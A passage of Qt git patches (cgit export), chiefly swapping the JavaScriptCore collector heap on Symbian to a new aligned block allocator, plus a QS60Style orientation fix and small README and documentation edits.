-    TInt ret = m_chunk.Decommit(m_offset + m_blockSize * idx, m_blockSize);
-            
-    // mark this available again
-    m_map.clear(idx); 
-}
-
-void AlignedBlockAllocator::destroy() 
-{
-    // release everything!
-    m_chunk.Decommit(0, m_chunk.MaxSize());
-    m_map.clearAll();
-}
-
-AlignedBlockAllocator::~AlignedBlockAllocator()
-{
-    destroy();
-    m_chunk.Close();
-    delete [] m_map.bits;
-}
-
-} // end of namespace
-
-#endif // SYMBIAN
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
deleted file mode 100644
index 21422f6..0000000
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1.  Redistributions of source code must retain the above copyright
- *     notice, this list of conditions and the following disclaimer. 
- * 2.  Redistributions in binary form must reproduce the above copyright
- *     notice, this list of conditions and the following disclaimer in the
- *     documentation and/or other materials provided with the distribution. 
- * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
- *     its contributors may be used to endorse or promote products derived
- *     from this software without specific prior written permission. 
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
- * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
- * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
- * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
- * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
- * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
- * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#ifndef BlockAllocatorSymbian_h
-#define BlockAllocatorSymbian_h
-
-#include 
-#include 
-#include 
-
-
-#define SYMBIAN_PAGESIZE(x) (HAL::Get(HALData::EMemoryPageSize, x));
-#define SYMBIAN_FREERAM(x)  (HAL::Get(HALData::EMemoryRAMFree, x));
-#define SYMBIAN_ROUNDUPTOMULTIPLE(x, multipleof)    ( (x + multipleof - 1) & ~(multipleof - 1) )
-
-// Set sane defaults if -D wasn't provided via compiler args
-#ifndef JSCCOLLECTOR_VIRTUALMEM_RESERVATION
-#if defined(__WINS__) 
-    // Emulator has limited virtual address space
-    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (4*1024*1024)
-#else
-    // HW has plenty of virtual addresses
-    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (128*1024*1024)
-#endif
-#endif
-
-namespace WTF {
-
-/** 
- *  Allocates contiguous region of size blockSize with blockSize-aligned address. 
- *  blockSize must be a multiple of system page size (typically 4K on Symbian/ARM)
- *
- *  @param reservationSize Virtual address range to be reserved upon creation of chunk (bytes).
- *  @param blockSize Size of a single allocation. Returned address will also be blockSize-aligned.
- */
-class AlignedBlockAllocator {
-    public:
-        AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize);
-        ~AlignedBlockAllocator();
-        void destroy();
-        void* alloc();
-        void free(void* data);
-    
-    private: 
-        RChunk   m_chunk; // Symbian chunk that lets us reserve/commit/decommit
-        TUint    m_offset; // offset of first committed region from base 
-        TInt     m_pageSize; // cached value of system page size, typically 4K on Symbian
-        TUint32  m_reservation;
-        TUint32  m_blockSize;  
-
-        // Tracks comitted/decommitted state of a blockSize region
-        struct {
-            
-            TUint32 *bits; // array of bit flags 
-            TUint32  numBits; // number of regions to keep track of
-            
-            bool get(TUint32 n) const
-            {
-                return !!(bits[n >> 5] & (1 << (n & 0x1F)));
-            }
-            
-            void set(TUint32 n)
-            {
-                bits[n >> 5] |= (1 << (n & 0x1F));
-            }
-            
-            void clear(TUint32 n)
-            {
-                bits[n >> 5] &= ~(1 << (n & 0x1F));
-            }
-            
-            void clearAll()
-            {
-               for (TUint32 i = 0; i < numBits; i++)
-                    clear(i);
-            }
-            
-            TInt findFree() const
-            {
-                for (TUint32 i = 0; i < numBits; i++) {
-                    if (!get(i)) 
-                        return i;
-                }
-                return -1;
-            }
-            
-        } m_map;  
-
-};
- 
-}
-
-#endif // end of BlockAllocatorSymbian_h
-
-
diff --git a/src/3rdparty/javascriptcore/VERSION b/src/3rdparty/javascriptcore/VERSION
index b4744b7..9991ac0 100644
--- a/src/3rdparty/javascriptcore/VERSION
+++ b/src/3rdparty/javascriptcore/VERSION
@@ -4,8 +4,8 @@ This is a snapshot of JavaScriptCore from
 
 The commit imported was from the
 
-        javascriptcore-snapshot-24012011 branch/tag
+        javascriptcore-snapshot-05102010 branch/tag
 
 and has the sha1 checksum
 
-        d143bde5ae8cff229aebd43487a2fce5e713e990
+        82ead85cfea5859044eeb25b33314dcc0fa5eea1
diff --git a/src/script/script.pro b/src/script/script.pro
index 63917b1..d1633d8 100644
--- a/src/script/script.pro
+++ b/src/script/script.pro
@@ -81,6 +81,7 @@ include(script.pri)
 
 symbian {
     TARGET.UID3=0x2001B2E1
+    LIBS += -lhal
 }
 
 symbian {
-- 
cgit v0.12


From 86a864f906d7dcda1b1ab04d1e25e7020a53be64 Mon Sep 17 00:00:00 2001
From: Kent Hansen 
Date: Tue, 25 Jan 2011 17:06:16 +0100
Subject: QtScript/JSC on Symbian: Enhanced memory allocator for Collector heap

Cherry-picked from http://trac.webkit.org/changeset/56370

The old allocator caused QML to crash in MCL (TB10.1, week 1).

Task-number: QTBUG-14293
Reviewed-by: Simon Hausmann
---
 .../javascriptcore/JavaScriptCore/ChangeLog        |  28 +++++
 .../JavaScriptCore/JavaScriptCore.pri              |   3 +
 .../JavaScriptCore/runtime/Collector.cpp           |  46 ++-----
 .../JavaScriptCore/runtime/Collector.h             |   9 ++
 .../wtf/symbian/BlockAllocatorSymbian.cpp          | 132 +++++++++++++++++++++
 .../wtf/symbian/BlockAllocatorSymbian.h            | 120 +++++++++++++++++++
 src/3rdparty/javascriptcore/VERSION                |   4 +-
 src/script/script.pro                              |   1 -
 8 files changed, 303 insertions(+), 40 deletions(-)
 create mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
 create mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h

diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
index fd6c3f7..c2b1155 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
@@ -232,6 +232,34 @@
         without using doubles, but the code would be much more complicated, and there is no important
         reason to stick to integers here.
 
+2010-03-22  Siddharth Mathur  
+
+        Reviewed by Laszlo Gombos.
+
+        [Symbian] More efficient aligned memory allocation for JSC Collector
+        https://bugs.webkit.org/show_bug.cgi?id=34350
+
+        * JavaScriptCore.pri: Added 2 new Symbian source files and HAL linkage
+
+        * runtime/Collector.cpp: Reduced port-specific code and added private data member
+        (JSC::Heap::Heap):
+        (JSC::Heap::~Heap):
+        (JSC::Heap::destroy):
+        (JSC::Heap::allocateBlock):
+        (JSC::Heap::freeBlockPtr):
+
+        * runtime/Collector.h: Added private data member
+
+        * wtf/symbian: Added.
+        * wtf/symbian/BlockAllocatorSymbian.cpp: Added.
+        (WTF::AlignedBlockAllocator::AlignedBlockAllocator): Helper class to allocate 
+        aligned blocks more efficiently as required by Collector
+        (WTF::AlignedBlockAllocator::alloc):
+        (WTF::AlignedBlockAllocator::free):
+        (WTF::AlignedBlockAllocator::destroy):
+        (WTF::AlignedBlockAllocator::~AlignedBlockAllocator):
+        * wtf/symbian/BlockAllocatorSymbian.h: Added.
+
 2010-03-22  Geoffrey Garen  
 
         Reviewed by Sam Weinig.
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
index d75bd31..b061321 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
@@ -16,6 +16,7 @@ CONFIG(debug, debug|release) {
 symbian: {
     # Need to guarantee this comes before system includes of /epoc32/include
     MMP_RULES += "USERINCLUDE ../JavaScriptCore/profiler"
+    LIBS += -lhal
 }
 
 INCLUDEPATH = \
@@ -33,6 +34,7 @@ INCLUDEPATH = \
     $$PWD/runtime \
     $$PWD/wrec \
     $$PWD/wtf \
+    $$PWD/wtf/symbian \
     $$PWD/wtf/unicode \
     $$PWD/yarr \
     $$PWD/API \
@@ -211,6 +213,7 @@ SOURCES += \
     wtf/qt/ThreadingQt.cpp \
     wtf/RandomNumber.cpp \
     wtf/RefCountedLeakCounter.cpp \
+    wtf/symbian/BlockAllocatorSymbian.cpp \
     wtf/symbian/RegisterFileAllocatorSymbian.cpp \
     wtf/ThreadingNone.cpp \
     wtf/Threading.cpp \
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
index 24873c8..42e2a35 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
@@ -53,11 +53,6 @@
 #include 
 #include 
 
-#elif OS(SYMBIAN)
-#include 
-#include 
-#include 
-
 #elif OS(WINDOWS)
 
 #include 
@@ -109,11 +104,6 @@ const size_t ALLOCATIONS_PER_COLLECTION = 3600;
 // a PIC branch in Mach-O binaries, see .
 #define MIN_ARRAY_SIZE (static_cast(14))
 
-#if OS(SYMBIAN)
-const size_t MAX_NUM_BLOCKS = 256; // Max size of collector heap set to 16 MB
-static RHeap* userChunk = 0;
-#endif
-
 #if ENABLE(JSC_MULTIPLE_THREADS)
 
 #if OS(DARWIN)
@@ -146,29 +136,11 @@ Heap::Heap(JSGlobalData* globalData)
     , m_currentThreadRegistrar(0)
 #endif
     , m_globalData(globalData)
+#if OS(SYMBIAN)
+    , m_blockallocator(JSCCOLLECTOR_VIRTUALMEM_RESERVATION, BLOCK_SIZE)
+#endif
 {
     ASSERT(globalData);
-    
-#if OS(SYMBIAN)
-    // Symbian OpenC supports mmap but currently not the MAP_ANON flag.
-    // Using fastMalloc() does not properly align blocks on 64k boundaries
-    // and previous implementation was flawed/incomplete.
-    // UserHeap::ChunkHeap allows allocation of continuous memory and specification
-    // of alignment value for (symbian) cells within that heap.
-    //
-    // Clarification and mapping of terminology:
-    // RHeap (created by UserHeap::ChunkHeap below) is continuos memory chunk,
-    // which can dynamically grow up to 8 MB,
-    // that holds all CollectorBlocks of this session (static).
-    // Each symbian cell within RHeap maps to a 64kb aligned CollectorBlock.
-    // JSCell objects are maintained as usual within CollectorBlocks.
-    if (!userChunk) {
-        userChunk = UserHeap::ChunkHeap(0, 0, MAX_NUM_BLOCKS * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE);
-        if (!userChunk)
-            CRASH();
-    }
-#endif // OS(SYMBIAN)
-    
     memset(&m_heap, 0, sizeof(CollectorHeap));
     allocateBlock();
 }
@@ -211,7 +183,9 @@ void Heap::destroy()
         t = next;
     }
 #endif
-
+#if OS(SYMBIAN)
+    m_blockallocator.destroy();
+#endif
     m_globalData = 0;
 }
 
@@ -221,11 +195,9 @@ NEVER_INLINE CollectorBlock* Heap::allocateBlock()
     vm_address_t address = 0;
     vm_map(current_task(), &address, BLOCK_SIZE, BLOCK_OFFSET_MASK, VM_FLAGS_ANYWHERE | VM_TAG_FOR_COLLECTOR_MEMORY, MEMORY_OBJECT_NULL, 0, FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT);
 #elif OS(SYMBIAN)
-    // Allocate a 64 kb aligned CollectorBlock
-    unsigned char* mask = reinterpret_cast(userChunk->Alloc(BLOCK_SIZE));
-    if (!mask)
+    void* address = m_blockallocator.alloc();  
+    if (!address)
         CRASH();
-    uintptr_t address = reinterpret_cast(mask);
 #elif OS(WINCE)
     void* address = VirtualAlloc(NULL, BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 #elif OS(WINDOWS)
@@ -316,7 +288,7 @@ NEVER_INLINE void Heap::freeBlockPtr(CollectorBlock* block)
 #if OS(DARWIN)    
     vm_deallocate(current_task(), reinterpret_cast(block), BLOCK_SIZE);
 #elif OS(SYMBIAN)
-    userChunk->Free(reinterpret_cast(block));
+    m_blockallocator.free(reinterpret_cast(block));
 #elif OS(WINCE)
     VirtualFree(block, 0, MEM_RELEASE);
 #elif OS(WINDOWS)
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
index 7f7a679..d3616dc 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
@@ -35,6 +35,10 @@
 #include 
 #endif
 
+#if OS(SYMBIAN)
+#include 
+#endif
+
 #define ASSERT_CLASS_FITS_IN_CELL(class) COMPILE_ASSERT(sizeof(class) <= CELL_SIZE, class_fits_in_cell)
 
 namespace JSC {
@@ -167,6 +171,11 @@ namespace JSC {
         pthread_key_t m_currentThreadRegistrar;
 #endif
 
+#if OS(SYMBIAN)
+        // Allocates collector blocks with correct alignment
+        WTF::AlignedBlockAllocator m_blockallocator; 
+#endif
+        
         JSGlobalData* m_globalData;
     };
 
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
new file mode 100644
index 0000000..6a28e9e
--- /dev/null
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer. 
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution. 
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission. 
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+
+#if OS(SYMBIAN)
+
+#include "BlockAllocatorSymbian.h"
+
+
+namespace WTF {
+
+/** Efficiently allocates blocks of size blockSize with blockSize alignment. 
+ * Primarly designed for JSC Collector's needs. 
+ * Not thread-safe.    
+ */
+AlignedBlockAllocator::AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize )
+    : m_reservation(reservationSize), 
+      m_blockSize(blockSize)
+{
+
+     // Get system's page size value.
+     SYMBIAN_PAGESIZE(m_pageSize); 
+     
+     // We only accept multiples of system page size for both initial reservation and the alignment/block size
+     m_reservation = SYMBIAN_ROUNDUPTOMULTIPLE(m_reservation, m_pageSize);
+     __ASSERT_ALWAYS(SYMBIAN_ROUNDUPTOMULTIPLE(m_blockSize, m_pageSize), User::Panic(_L("AlignedBlockAllocator1"), KErrArgument));
+     
+     // Calculate max. bit flags we need to carve a reservationSize range into blockSize-sized blocks
+     m_map.numBits = m_reservation / m_blockSize;   
+     const TUint32 bitsPerWord = 8*sizeof(TUint32); 
+     const TUint32 numWords = (m_map.numBits + bitsPerWord -1) / bitsPerWord; 
+   
+     m_map.bits = new TUint32[numWords];
+     __ASSERT_ALWAYS(m_map.bits, User::Panic(_L("AlignedBlockAllocator2"), KErrNoMemory));
+     m_map.clearAll();
+     
+     // Open a Symbian RChunk, and reserve requested virtual address range   
+     // Any thread in this process can operate this rchunk due to EOwnerProcess access rights. 
+     TInt ret = m_chunk.CreateDisconnectedLocal(0 , 0, (TInt)m_reservation , EOwnerProcess);  
+     if (ret != KErrNone) 
+         User::Panic(_L("AlignedBlockAllocator3"), ret);
+       
+     // This is the offset to m_chunk.Base() required to make it m_blockSize-aligned
+     m_offset = SYMBIAN_ROUNDUPTOMULTIPLE(TUint32(m_chunk.Base()), m_blockSize) - TUint(m_chunk.Base()); 
+
+}
+
+void* AlignedBlockAllocator::alloc()
+{
+
+    TInt  freeRam = 0; 
+    void* address = 0;
+    
+    // Look up first free slot in bit map
+    const TInt freeIdx = m_map.findFree();
+        
+    // Pseudo OOM: We ate up the address space we reserved..
+    // ..even though the device may have free RAM left
+    if (freeIdx < 0)
+        return 0;
+        
+    TInt ret = m_chunk.Commit(m_offset + (m_blockSize * freeIdx), m_blockSize);
+    if (ret != KErrNone)  
+        return 0; // True OOM: Device didn't have physical RAM to spare
+        
+    // Updated bit to mark region as in use. 
+    m_map.set(freeIdx); 
+    
+    // Calculate address of committed region (block)
+    address = (void*)( (m_chunk.Base() + m_offset) + (TUint)(m_blockSize * freeIdx) );
+    
+    return address;
+}
+
+void AlignedBlockAllocator::free(void* block)
+{
+    // Calculate index of block to be freed
+    TInt idx = TUint(static_cast(block) - m_chunk.Base() - m_offset) / m_blockSize;
+    
+    __ASSERT_DEBUG(idx >= 0 && idx < m_map.numBits, User::Panic(_L("AlignedBlockAllocator4"), KErrCorrupt)); // valid index check
+    __ASSERT_DEBUG(m_map.get(idx), User::Panic(_L("AlignedBlockAllocator5"), KErrCorrupt)); // in-use flag check    
+    
+    // Return committed region to system RAM pool (the physical RAM becomes usable by others)
+    TInt ret = m_chunk.Decommit(m_offset + m_blockSize * idx, m_blockSize);
+            
+    // mark this available again
+    m_map.clear(idx); 
+}
+
+void AlignedBlockAllocator::destroy() 
+{
+    // release everything!
+    m_chunk.Decommit(0, m_chunk.MaxSize());
+    m_map.clearAll();
+}
+
+AlignedBlockAllocator::~AlignedBlockAllocator()
+{
+    destroy();
+    m_chunk.Close();
+    delete [] m_map.bits;
+}
+
+} // end of namespace
+
+#endif // SYMBIAN
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
new file mode 100644
index 0000000..21422f6
--- /dev/null
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer. 
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution. 
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission. 
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef BlockAllocatorSymbian_h
+#define BlockAllocatorSymbian_h
+
+#include 
+#include 
+#include 
+
+
+#define SYMBIAN_PAGESIZE(x) (HAL::Get(HALData::EMemoryPageSize, x));
+#define SYMBIAN_FREERAM(x)  (HAL::Get(HALData::EMemoryRAMFree, x));
+#define SYMBIAN_ROUNDUPTOMULTIPLE(x, multipleof)    ( (x + multipleof - 1) & ~(multipleof - 1) )
+
+// Set sane defaults if -D wasn't provided via compiler args
+#ifndef JSCCOLLECTOR_VIRTUALMEM_RESERVATION
+#if defined(__WINS__) 
+    // Emulator has limited virtual address space
+    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (4*1024*1024)
+#else
+    // HW has plenty of virtual addresses
+    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (128*1024*1024)
+#endif
+#endif
+
+namespace WTF {
+
+/** 
+ *  Allocates contiguous region of size blockSize with blockSize-aligned address. 
+ *  blockSize must be a multiple of system page size (typically 4K on Symbian/ARM)
+ *
+ *  @param reservationSize Virtual address range to be reserved upon creation of chunk (bytes).
+ *  @param blockSize Size of a single allocation. Returned address will also be blockSize-aligned.
+ */
+class AlignedBlockAllocator {
+    public:
+        AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize);
+        ~AlignedBlockAllocator();
+        void destroy();
+        void* alloc();
+        void free(void* data);
+    
+    private: 
+        RChunk   m_chunk; // Symbian chunk that lets us reserve/commit/decommit
+        TUint    m_offset; // offset of first committed region from base 
+        TInt     m_pageSize; // cached value of system page size, typically 4K on Symbian
+        TUint32  m_reservation;
+        TUint32  m_blockSize;  
+
+        // Tracks comitted/decommitted state of a blockSize region
+        struct {
+            
+            TUint32 *bits; // array of bit flags 
+            TUint32  numBits; // number of regions to keep track of
+            
+            bool get(TUint32 n) const
+            {
+                return !!(bits[n >> 5] & (1 << (n & 0x1F)));
+            }
+            
+            void set(TUint32 n)
+            {
+                bits[n >> 5] |= (1 << (n & 0x1F));
+            }
+            
+            void clear(TUint32 n)
+            {
+                bits[n >> 5] &= ~(1 << (n & 0x1F));
+            }
+            
+            void clearAll()
+            {
+               for (TUint32 i = 0; i < numBits; i++)
+                    clear(i);
+            }
+            
+            TInt findFree() const
+            {
+                for (TUint32 i = 0; i < numBits; i++) {
+                    if (!get(i)) 
+                        return i;
+                }
+                return -1;
+            }
+            
+        } m_map;  
+
+};
+ 
+}
+
+#endif // end of BlockAllocatorSymbian_h
+
+
diff --git a/src/3rdparty/javascriptcore/VERSION b/src/3rdparty/javascriptcore/VERSION
index 9991ac0..b4744b7 100644
--- a/src/3rdparty/javascriptcore/VERSION
+++ b/src/3rdparty/javascriptcore/VERSION
@@ -4,8 +4,8 @@ This is a snapshot of JavaScriptCore from
 
 The commit imported was from the
 
-        javascriptcore-snapshot-05102010 branch/tag
+        javascriptcore-snapshot-24012011 branch/tag
 
 and has the sha1 checksum
 
-        82ead85cfea5859044eeb25b33314dcc0fa5eea1
+        d143bde5ae8cff229aebd43487a2fce5e713e990
diff --git a/src/script/script.pro b/src/script/script.pro
index d1633d8..63917b1 100644
--- a/src/script/script.pro
+++ b/src/script/script.pro
@@ -81,7 +81,6 @@ include(script.pri)
 
 symbian {
     TARGET.UID3=0x2001B2E1
-    LIBS += -lhal
 }
 
 symbian {
-- 
cgit v0.12


From 54313b3ba81c276cf06c40c2420b1ff1f30e64c3 Mon Sep 17 00:00:00 2001
From: Sami Merila 
Date: Wed, 26 Jan 2011 09:05:19 +0200
Subject: Application background is incorrect if app locked to landscape.

If application orientation has been locked to landscape and application
is started out while device orientation is portrait, QS60Style draws
the QPalette::background like device would be in landscape. Style
is incorrectly following device orientation, when it should follow
application orientation.

As a fix, style follows now application orientation. As a bonus,
unnecessary fullscreen QPixmap creation is avoided when rotating the
device.

Task-number: QTBUG-16816
Reviewed-by: Jani Hautakangas
---
 src/gui/styles/qs60style_s60.cpp | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/src/gui/styles/qs60style_s60.cpp b/src/gui/styles/qs60style_s60.cpp
index 04c40aa..605872e 100644
--- a/src/gui/styles/qs60style_s60.cpp
+++ b/src/gui/styles/qs60style_s60.cpp
@@ -1378,12 +1378,13 @@ QPixmap QS60StylePrivate::frame(SkinFrameElements frame, const QSize &size, Skin
 QPixmap QS60StylePrivate::backgroundTexture()
 {
     bool createNewBackground = false;
+    TRect applicationRect = (static_cast(S60->appUi())->ApplicationRect());
     if (!m_background) {
         createNewBackground = true;
     } else {
         //if background brush does not match screensize, re-create it
-        if (m_background->width() != S60->screenWidthInPixels ||
-            m_background->height() != S60->screenHeightInPixels) {
+        if (m_background->width() != applicationRect.Width() ||
+            m_background->height() != applicationRect.Height()) {
             delete m_background;
             createNewBackground = true;
         }
@@ -1391,7 +1392,7 @@ QPixmap QS60StylePrivate::backgroundTexture()
 
     if (createNewBackground) {
         QPixmap background = part(QS60StyleEnums::SP_QsnBgScreen,
-            QSize(S60->screenWidthInPixels, S60->screenHeightInPixels), 0, SkinElementFlags());
+                QSize(applicationRect.Width(), applicationRect.Height()), 0, SkinElementFlags());
         m_background = new QPixmap(background);
     }
     return *m_background;
@@ -1411,7 +1412,6 @@ QS60Style::QS60Style()
 void QS60StylePrivate::handleDynamicLayoutVariantSwitch()
 {
     clearCaches(QS60StylePrivate::CC_LayoutChange);
-    setBackgroundTexture(qApp);
     setActiveLayout();
     refreshUI();
     foreach (QWidget *widget, QApplication::allWidgets())
-- 
cgit v0.12


From 977ed996677e6156df1a89011d2aefb1c475af4c Mon Sep 17 00:00:00 2001
From: Olivier Goffart 
Date: Tue, 25 Jan 2011 18:24:58 +0100
Subject: Add util/xkbdatagen/README

Reviewed-by: Joao
---
 src/gui/kernel/qkeymapper_x11_p.cpp | 1 +
 util/xkbdatagen/README              | 1 +
 util/xkbdatagen/main.cpp            | 1 +
 3 files changed, 3 insertions(+)
 create mode 100644 util/xkbdatagen/README

diff --git a/src/gui/kernel/qkeymapper_x11_p.cpp b/src/gui/kernel/qkeymapper_x11_p.cpp
index 1fad4b0..2dbe1e7 100644
--- a/src/gui/kernel/qkeymapper_x11_p.cpp
+++ b/src/gui/kernel/qkeymapper_x11_p.cpp
@@ -40,6 +40,7 @@
 ****************************************************************************/
 
 // This file is auto-generated, do not edit!
+// (Generated using util/xkbdatagen)
 
 static struct {
     const char *layout;
diff --git a/util/xkbdatagen/README b/util/xkbdatagen/README
new file mode 100644
index 0000000..bae68b8
--- /dev/null
+++ b/util/xkbdatagen/README
@@ -0,0 +1 @@
+program used to generate qkeymapper_x11_p.cpp
diff --git a/util/xkbdatagen/main.cpp b/util/xkbdatagen/main.cpp
index 3ec2f57..b8ececc 100644
--- a/util/xkbdatagen/main.cpp
+++ b/util/xkbdatagen/main.cpp
@@ -456,6 +456,7 @@ int main(int argc, char **argv)
            "****************************************************************************/\n"
            "\n"
            "// This file is auto-generated, do not edit!\n"
+           "// (Generated using util/xkbdatagen)\n"
            "\n");
 
     // data structure
-- 
cgit v0.12


From d3bf6e227b353c10de3353b6072640dea59b52c0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Thorbj=C3=B8rn=20Lindeijer?= 
Date: Wed, 26 Jan 2011 12:42:49 +0100
Subject: doc: Fixed a missing * in the docs for QML_DECLARE_TYPE

It's actually equivalant to Q_DECLARE_METATYPE(TYPE *). This explains
why it works on classes that use Q_DISABLE_COPY.

Reviewed-by: David Boddie 
---
 doc/src/declarative/qtdeclarative.qdoc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc
index 05dac52..6affbf9 100644
